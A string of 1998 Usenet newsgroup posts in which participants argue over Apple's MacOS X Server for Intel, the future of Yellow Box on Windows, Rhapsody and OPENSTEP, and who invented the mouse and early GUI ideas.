References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <01bde8ce$a41330b0$06387880@chewy> <cclark1-2509982244220001@cx315219-a.omhan1.ne.home.com>
Cherie Clark <cclark1@home.com> wrote
>> o Experiment - if MacOS X for Intel does well, and it appears
>> to grow their market (as opposed to cannibalize Mac hardware
>> sales), they may continue the support in the future.
>
> I believe Rhapsody will be cross platform and of course there
> is always Openstep.
Rhapsody is dead and has been replaced by MacOS X. Apple has only
committed to making the very first release of MacOS X Server (out in
the next month or two) available for the Intel platform. Apple has not
committed to supporting any OS on anything other than the PowerPC after
this release.
Yes, OPENSTEP (YellowBox for Windows) will be available for NT on
Intel, but I believe the point of this thread is why is Apple
abandoning an OS (a full OS) for the dominant hardware platform on the
planet.
>> o Hedge their bets - While Apple is doing well touting the
>> PowerPC over the Intel architecture, the lack of large development
>> investment by IBM in the PowerPC may mean the PowerPC's best days
>> are over.
>
> You really don't read do you?
Sure I do. IBM pulls out of Somerset [1], Mark McDermott, director of
the Somerset Design Center, has left to go work for Intel [2]. And I
believe IBM and Motorola cannot still agree on the AltiVec technology.
Whatever IBM comes out with in the next year regarding the PowerPC was
started probably several years ago. Decisions being made today won't
appear in products for at least one or two years down the road. That
is where I am looking.
> machines end of this year and I suspect it will only be a matter
> of time before you see them in Aptivas since the new ones will be
> IBM copper chips and those are to the bset of my knowledge PPC chips.
And what operating system will they run? IBM killed their own PC
operating system of the PowerPC a long time ago. NT for the PowerPC
has also been killed. IBM still has AIX, but that is *far* from a
consumer level OS.
> Intel is already dead
> and so is your platform in another year or two it will be THREE
platforms
> - Mac, IBM/Java OS and the outdated wintel boxes.
I have been hearing "Intel is dead" since RISC chips began coming on
the market in the late 80s, yet the x86 architecture still dominates
90% or more of the computer market.
I admit, in the computer world advantages can turn on a dime. Java and
Java based computers still have an opportunity to dislodge Intel's
dominance by dislodging Windows. And even NT could take off on another
hardware platform.
But for the time being, Intel dominates, and virtually every OS effort
(Windows 98/NT, Linux, BeOS, Solaris, ...) plans to support it.
The question for this thread is, given that Apple already has support
for the Intel platform in its MacOS X Server, what are Apple's
advantages/disadvantages for releasing only MacOS X Server 1.0 on Intel
and then abandon Intel?
> You been smoking again.
But I didn't inhale ;^)
Todd
[1] http://www.news.com/News/Item/0,4,23045,00.html
[2] http://www.techweb.com/wire/story/TWB19980925S0015
Message-ID: <360F247C.262C1279@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <forrestDELETE-THIS!-2709982159000001@term2-27.simi.west.net> <360F2079.545ED5BB@trilithon.com>
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Date: Mon, 28 Sep 1998 00:54:04 -0500
NNTP-Posting-Date: Mon, 28 Sep 1998 01:55:15 EDT
Organization: ISPNews http://ispnews.com
Henry McGilton wrote:
[cut]
> Doug Englebart is credited with inventing the mouse while at
> SRI. Here's another URL:
Pshoosh, that's nothing. What I want to know is who invented the
joystick and the paddle? Way cooler... :-)
[cut]
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 23:03:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6up4j7$17d@news1.panix.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com>
On Mon, 28 Sep 1998 11:50:44 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Voila. Argument over. This is exactly what John was saying: Apple will
>provide a Yellow Box that gives an inferior user experience on Windows,
>even though it doesn't have to be that way, because it needs to protect
>its own hardware/OS platforms.
No, Apple will provide a user experience on Windows that meets Windows
UI guidelines. It has nothing to do with it protecting its hardware/OS
platforms.
How useful would YB/NT be if Apps built with it didn't earn the NT logo?
>> > Will there be Windows-based developer tools after Rhapsody 1.0? I hadn't
>> > heard.
>> If Apple has any interest in having YB on Windows apps, I should think so.
>Again, read John's post. This is a function of Apple's interest in
>protecting an obsolete hardware/software platform, not in Yellow Box.
Why would Apple work to remove the YB licensing fee if it did not plan
to keep it around?
BTW, you can settle this by going to the Apple web site and reading the
FAQs.
>It's a fair bet YB on Windows runtimes will exist. There is no public
>evidence to suggest that the development tools will continue to be
>developed for Windows.
Other than Apple saying that they will?
From: http://gemma.apple.com/macosx/server/rhapfaq/5.html#5.2
Will the Yellow Box continue to be available on Windows?
Yes. Cross-platform development is the key feature of the Yellow Box.
Last updated on:
<!--This file created 6/19/98 4:53 PM by Claris Home Page version 3.0-->
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 23:02:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6up4j3$17d@news1.panix.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net>
On Sun, 27 Sep 1998 20:04:30 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Incidentally, with Rhapsody for Intel disappearing, how, exactly, will
>developers be writing YB Windows apps and then porting them to the Mac?
They check off "MacOS X PPC" in some dialog box and recompile.
(This is assuming that Apple makes good on its promise of shipping
all the libs needed for cross compile on both platforms. If not, the
programmer will have to ftp the source over to a Mac running OSX
and recompile)
>All they'll have is the Yellow Box runtimes for Windows, which means
>using a Windows compiler.
It's still gcc and gcc _can_ cross compile.
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 20:25:09 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6uorb5$oto@shelob.afs.com>
References: <6uoqij$rlj$1@nnrp03.primenet.com>
John Jensen <jjens@primenet.com> writes
> I'm not sure I understood it exactly, but I'm not sure I was far wrong.
> Are these libraries avaiable to the general public?
You have to buy them from Apple. This is a distinct product that goes by
the current code-name "Yellow Box for Windows," which NeXT used to call
"OPENSTEP Enterprise". Pricing has not been determined, but I am hopeful
that Apple will -- either on its own, or through arrangements with YB
developers -- make these runtimes available at a reasonable price. They
had previously committed to do so. One reason given for the new drawing
language in Mac OS X (the 1999 Consumer Release, not the upcoming Server
Release) was to make it possible to offer royalty-free YB runtimes.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 18:57:37 -0500
Organization: Ericsson North America Inc.
Message-ID: <36102270.2739BA4F@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com>
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Sal Denaro wrote:
> No, Apple will provide a user experience on Windows that meets Windows
> UI guidelines. It has nothing to do with it protecting its hardware/OS
> platforms.
>
> How useful would YB/NT be if Apps built with it didn't earn the NT logo?
Excellent question. This is a good time to provide the reference on
logoable apps. Can you point me there?
> Why would Apple work to remove the YB licensing fee if it did not plan
> to keep it around?
What do you mean by "work to remove the YB licensing fee"? It doesn't
take any work to remove the licensing fee; it only takes work to replace
the lost, now-unlicensed technology.
> BTW, you can settle this by going to the Apple web site and reading the
> FAQs.
Great! Can you provide a URL? I've done about as much digging around the
labyrinthine Apple Web site as I can stand for this week so far.
> Other than Apple saying that they will?
If you like. I'm supposed to take Apple committments as evidence for
something?
> From: http://gemma.apple.com/macosx/server/rhapfaq/5.html#5.2
>
> Will the Yellow Box continue to be available on Windows?
>
> Yes. Cross-platform development is the key feature of the Yellow Box.
Ah, well. That surely settles it.
Take this nonsense somewhere else.
MJP
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Worried about MacOS X
Message-ID: <1998Sep28.163443.25087@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <6uj65e$1uc@news.vbe.com>
Date: Mon, 28 Sep 1998 16:34:43 GMT
In article <6uj65e$1uc@news.vbe.com> jsd@otoson.com.NOSPAM writes:
> In <1998Sep24.150531.4349@il.us.swissbank.com> Michael Humphries-Dolnick
> wrote:
> Hi!,
>
> If the one poster referenced in this post was in fact developing for
NeXT as
> well as he says, then he should know that the perception about NeXTstep
being
> high/overpriced was certainly a key factor in comparison to other
platforms
> although it would have taken $50-150 K if then to match what one could
get by
> the time NeXTstep 2.2 came along on any other platform. As many note,
the
> marketing message, confusion about who they would and wouldn't sell to,
> getting a extremely poor reseller even though they had the appearance of
> being a national leading chain also played central roles.
[SNIP]
Actually, I'm an SE, not a developer. I worked for a developer. Now, I
work for a bank that uses NS / OS.
Having worked for a developer, maybe I had my head in the sand as far as
the retail side, because we never had to deal with national chains or even
retailers; we dealt directly with NEXT Software. Even dealing directly
with them was difficult at best, although I must say that now that I'm in
a shop that's a huge Apple Enterprise customer, it's much easier. I may
not be the typical NEXTSTEP / OPENSTEP user, and I'm no developer, but I
know that until I worked for a HUGE shop, dealing with NEXT Software was a
pain. And it had nothing to do with retailers.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 18:40:37 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6uol75$oeo@shelob.afs.com>
References: <6uok8k$95$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> writes
> I don't have OPENSTEP/Enterprise. I look forward to trying a Windows
> demo, when available.
Perhaps you misunderstood. OS/Enterprise is the set of overlay libraries
and executables that allow OPENSTEP (and soon, YB) applications to run on
top of a native NT environment. It is NOT the native Intel version of
OPENSTEP, which replaces (or boots from a separate partition from) NT.
You can't run ANY OPENSTEP or YB applications under Windows unless you
have installed these basic files.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: klui@cup.hp.com (Ken Lui)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a
car.)
Date: 29 Sep 1998 01:46:11 GMT
Organization: Hewlett-Packard Company
Message-ID: <6upe53$qdd$1@ocean.cup.hp.com>
References: <6umvvf$si$1@ocean.cup.hp.com> <B2348639-3B389@206.165.43.157>
In article <B2348639-3B389@206.165.43.157>,
Lawson English <english@primenet.com> wrote:
>My recollection is that on the issue of the *single-button* mouse, Raskin
>was unaware that Englebart's first mouse had a single button. I believe
>that Raskin WAS aware of Englebart's work when he wrote his Master's thesis
>-just not Englebart's 1-button mouse, which he used to take credit for
>inventing.
He wrote (about ergonomics):
Only a handful of people, such as Sutherland, Weinberg, Gilb,
and Englebart, seemed interested in the topic and I didn't
learn of the work of the last three until after I had done my
thesis. (Weinberg's ground-breaking "The Psychology of
Computer Programming" was published in 1971."
Ken
--
Ken Lui 19111 Pruneridge Avenue M/S 47UW
klui@cup.hp.com Cupertino, CA 95014-0795 USA
Information Solutions & Services 1.408.447.3230 FAX 1.408.447.5929
Views within this message may not be those of the Hewlett-Packard Company
From: steve@nospam.com
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: 28 Sep 1998 20:10:21 GMT
Organization: Internet Specialties West, Inc.
Message-ID: <6uoqfd$rgo$1@news.iswest.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <6um14j$m5n$1@camel29.mindspring.com>
In-Reply-To: <6um14j$m5n$1@camel29.mindspring.com>
On 09/28/98, "Doug Ivers" wrote:
>Where do you guys read this stuff?
Check out Alan Kay's paper on the history of the Smalltalk system in
_History of Computer Programming Languages_.
Steve Dekorte
From: steve@nospam.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 29 Sep 1998 02:35:21 GMT
Organization: Internet Specialties West, Inc.
Message-ID: <6uph19$c2q$1@news.iswest.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <01bde8ce$a41330b0$06387880@chewy> <cclark1-2509982244220001@cx315219-a.omhan1.ne.home.com> <01bdeb2b$84cd9ab0$06387880@chewy>
In-Reply-To: <01bdeb2b$84cd9ab0$06387880@chewy>
On 09/28/98, "Todd Heberlein (todd at NetSQ dot com)" wrote:
>
>Rhapsody is dead and has been replaced by MacOS X.
This statement is a bit misleading. It might be more accurate to say
that NeXTstep has once again be renamed. This time, to "Mac OS X".
Cheers,
Steve Dekorte
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 11:55:23 -0500
Organization: Ericsson North America Inc.
Message-ID: <360FBF7B.C2A1CAEE@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu>
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Pulsar wrote:
> MDI!
There is literally nothing stopping Apple from using SDI as the basis
for a document-per-window interface when implementing the Yellow Box on
Windows.
> > Am I mistaken, or does YB use Navigation Services for these things?
>
> On the Mac I should think. On Windows? I don't know.
Exactly the point. It could, but it might not. Entirely up to Apple's
discretion.
> AFAIK, YB on Windows
> uses the standard Windows Open/Save dialogs and such.
Entirely up to Apple's discretion.
> > Widget appearance is adopted from the parent OS. As far as I can tell
> > 95% of the behavior of all GUI items is dictated by Yellow Box.
>
> How much of that has been reworked for the YB on Windows version to match
> Windows behaviors?
What behaviors? Like MDI? I suggest you try running an obscure program
called "Netscape Navigator", which does not use the MDI.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 11:50:44 -0500
Organization: Ericsson North America Inc.
Message-ID: <360FBE64.67D0D2EF@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
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Pulsar wrote:
> Window handling (more specifically MDI I would suspect), Open/Save dialogs
> (remember we're talking Mac OS X and YB here so the old Mac Open/Save
> dialogs will be gone and the Windows ones will very likely still be
> crappy). All the relative crappiness of the way Windows handles the File
> System will be there. The awful color picker would be there too I'd
> imagine.
Every single item mentioned above is dealt with internally to Yellow
Box. It doesn't *have* to be, but there it is.
> It all depends on how much the designers decided to remain
> consistent with Windows. I've only seen a couple of screen shots of YB for
> Windows apps so I don't really know just how far it goes.
Voila. Argument over. This is exactly what John was saying: Apple will
provide a Yellow Box that gives an inferior user experience on Windows,
even though it doesn't have to be that way, because it needs to protect
its own hardware/OS platforms.
> YB is truly cross platform in that the same code base will produce working
> applications that are functionally the same. YB is not truly cross platform
> in that the interface wholly takes on the aspect of the OS it's been
> compiled and run on. You may see that difference as irrelevant or perhaps
> less significant than I do.
This is *not* correct. The app does not "wholly take on the aspect of
the OS it's been compiled and run on".
> Is it not in Apple's best interest to encourage more software for the Mac?
This assumes that it's in Apple's best interest to promote an estranged
Mac platform in the first place.
> Is having the YB on Windows and Mac OS a way to encourage developers to
> also develop Mac versions?
Perfect, this is exactly the sort of thinking John was talking about.
Apple won't go cross-platform for the sake of cross-platform
development. It will provide just enough cross-platform capability to
(ostensibly) sell more Mac software. Or, in John's words (do you wonder
why I keep quoting from his posting? Perhaps you should read it):
<quote>
> I predict that Apple will try to walk a line. They will try to offer just
> enough cross-platform support to keep developers happy, but not enough
> cross-platform support to allow users to easily change platforms. I don't
> think that luke-warm support will enable "dawn of true cross-platform
> computing".
</quote>
[cut - questions completely orthogonal to the discussion]
> > Will there be Windows-based developer tools after Rhapsody 1.0? I hadn't
> > heard.
>
> If Apple has any interest in having YB on Windows apps, I should think so.
Again, read John's post. This is a function of Apple's interest in
protecting an obsolete hardware/software platform, not in Yellow Box.
> Very likely the developer tools wouldn't be free though. If Apple has not
> plans to have YB on Windows past Mac OS X Server, then the discussion is
> rather moot anyway. (It looks like Apple will continue YB on Windows given
> it's attempts to get a free runtime which would mean the scrapping of DPS
> for "EQD" just as in Mac OS X.)
It's a fair bet YB on Windows runtimes will exist. There is no public
evidence to suggest that the development tools will continue to be
developed for Windows. You need to seriously re-evaluate your thoughts
on how YB will help bring Windows software to the Mac. Not going to
happen.
Apple's strategy has always been "create it on the Mac, deploy it on
Windows". That's the QuickTime strategy, and it serves as the model for
all of Apple's so-called "cross-platform" efforts. Apple has no
intention of actually participating in a cross-platform model.
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: 28 Sep 1998 17:01:57 GMT
Organization: Primenet (602)416-7000
Message-ID: <6uofe5$s80$1@nnrp02.primenet.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu>
<joe.ragosta-2809980629300001@elk33.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: I agree with this one completely. In fact, I'd go further. YB needs to be
: ported as many places as possible. NT and Win95 are already being done.
: But they should include a YB for Linux, AIX, and as many Unices as
: possible. Heck, YB on mainframes would be a great extension. Heck, they
: should do YB on WinCE if possible.
: YB EVERYWHERE!!!!
It would be nice to have YB everywhere. But I wonder how much would it
cost in dollars and cents, and what would be Apple's return on investment?
Other than a general increase in mindshare and marketing, is there a way
for Apple to make a cold hard profit with this plan? Would they have to
charge for the runtime? Or an extra amount for the code generators?
I mean, some people thought the profit margin on clones was kind of thin.
Compared to handing out free runtime packages for competing OSes, clone
profits look pretty fat.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 17:11:31 GMT
Organization: Primenet (602)416-7000
Message-ID: <6uog03$s80$2@nnrp02.primenet.com>
References: <36099217.345010578@news.newsguy.com> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu>
<360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net>
<pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
Pulsar <pulsar@springnet1.com> wrote:
: YB is truly cross platform in that the same code base will produce working
: applications that are functionally the same. YB is not truly cross platform
: in that the interface wholly takes on the aspect of the OS it's been
: compiled and run on. You may see that difference as irrelevant or perhaps
: less significant than I do.
Which YB apps are you running? I'd like to try them under NT and see how
they do. Do you have URLs?
John
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 12:25:28 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2809981225280001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com>
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In article <360FBE64.67D0D2EF@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Pulsar wrote:
>
> > It all depends on how much the designers decided to remain
> > consistent with Windows. I've only seen a couple of screen shots of YB for
> > Windows apps so I don't really know just how far it goes.
>
> Voila. Argument over. This is exactly what John was saying: Apple will
> provide a Yellow Box that gives an inferior user experience on Windows,
> even though it doesn't have to be that way, because it needs to protect
> its own hardware/OS platforms.
Well, yeah, but that's not an argument for _not_ having YB. It's an
arguement for crippling YB apps for Windows with the same Windows interface
that Windows users expect from Windows applications. It's not about making
YB applications _worse_ than Windows apps! That "inferior user experience"
_is_ the _Windows_ user experience.
Of course Apple isn't going to put the Mac OS user experience on Windows.
That's not to say that YB is bad.
> > YB is truly cross platform in that the same code base will produce working
> > applications that are functionally the same. YB is not truly cross platform
> > in that the interface wholly takes on the aspect of the OS it's been
> > compiled and run on. You may see that difference as irrelevant or perhaps
> > less significant than I do.
>
> This is *not* correct. The app does not "wholly take on the aspect of
> the OS it's been compiled and run on".
How so?
> > Is it not in Apple's best interest to encourage more software for the Mac?
>
> This assumes that it's in Apple's best interest to promote an estranged
> Mac platform in the first place.
It's certainly not in Apple's best interests to sell PCs. It would be
clobbered instantly. It has to make do with what it has for the moment.
> > Is having the YB on Windows and Mac OS a way to encourage developers to
> > also develop Mac versions?
>
> Perfect, this is exactly the sort of thinking John was talking about.
> Apple won't go cross-platform for the sake of cross-platform
> development. It will provide just enough cross-platform capability to
> (ostensibly) sell more Mac software. Or, in John's words (do you wonder
> why I keep quoting from his posting? Perhaps you should read it):
Yes. I was interpretting his arguments as stating that the concept of the
YB is bad, not that Apple would use it to try to protect its hardware
sales. The latter I figured was a given.
> <quote>
>
> > I predict that Apple will try to walk a line. They will try to offer just
> > enough cross-platform support to keep developers happy, but not enough
> > cross-platform support to allow users to easily change platforms. I don't
> > think that luke-warm support will enable "dawn of true cross-platform
> > computing".
>
> </quote>
>
> [cut - questions completely orthogonal to the discussion]
>
> > > Will there be Windows-based developer tools after Rhapsody 1.0? I hadn't
> > > heard.
> >
> > If Apple has any interest in having YB on Windows apps, I should think so.
>
> Again, read John's post. This is a function of Apple's interest in
> protecting an obsolete hardware/software platform, not in Yellow Box.
Yes, yes, yes. Because YB can be used as a tool to promote the development
of software for the Mac OS by also having an implementation for Windows, it
protects Apple's hardware/software platform. That's not what I thought was
at issue.
> > Very likely the developer tools wouldn't be free though. If Apple has not
> > plans to have YB on Windows past Mac OS X Server, then the discussion is
